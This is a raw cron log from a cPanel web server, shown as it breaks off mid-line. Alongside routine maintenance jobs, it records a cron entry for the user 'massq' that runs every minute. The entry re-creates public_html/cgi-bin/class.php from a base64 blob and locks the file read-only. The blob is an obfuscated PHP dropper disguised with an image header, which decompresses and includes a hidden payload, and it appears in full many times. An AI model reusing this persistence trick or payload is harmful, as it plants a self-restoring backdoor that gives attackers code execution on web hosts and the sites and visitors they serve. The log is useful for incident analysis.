Aug 30 16:05:01 server CROND[15376]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 16:05:01 server CROND[15381]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 16:05:01 server CROND[15380]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 16:05:01 server CROND[15379]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:05:01 server CROND[15378]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 16:05:01 server CROND[15374]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 16:06:01 server CROND[16209]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 16:06:01 server CROND[16210]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:06:01 server CROND[16211]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:07:01 server CROND[16655]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:07:01 server CROND[16658]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 16:07:01 server CROND[16657]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:08:01 server CROND[17034]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 16:08:01 server CROND[17035]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:08:01 server CROND[17036]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:09:01 server CROND[17417]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:09:01 server CROND[17418]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 30 16:09:01 server CROND[17420]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 16:09:01 server CROND[17419]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:10:01 server CROND[17903]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 16:10:01 server CROND[17905]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 16:10:01 server CROND[17908]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 16:10:01 server CROND[17911]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 16:10:01 server CROND[17913]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:10:01 server CROND[17909]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 16:10:01 server CROND[17912]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:10:01 server CROND[17910]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 16:11:01 server CROND[18732]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:11:01 server CROND[18733]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:11:01 server CROND[18734]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 16:12:01 server CROND[19108]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:12:01 server CROND[19109]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 16:12:01 server CROND[19110]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:12:01 server CROND[19112]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 16:13:01 server CROND[19485]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:13:01 server CROND[19486]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:13:01 server CROND[19487]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 16:14:01 server CROND[19872]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:14:01 server CROND[19873]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 16:14:01 server CROND[19874]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:15:01 server CROND[20399]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 16:15:01 server CROND[20403]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:15:01 server CROND[20401]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:15:01 server CROND[20404]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Aug 30 16:15:01 server CROND[20405]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 16:15:01 server CROND[20406]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 16:15:01 server CROND[20410]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Aug 30 16:15:01 server CROND[20402]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 16:15:01 server CROND[20407]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 16:16:01 server CROND[21304]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:16:01 server CROND[21305]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; 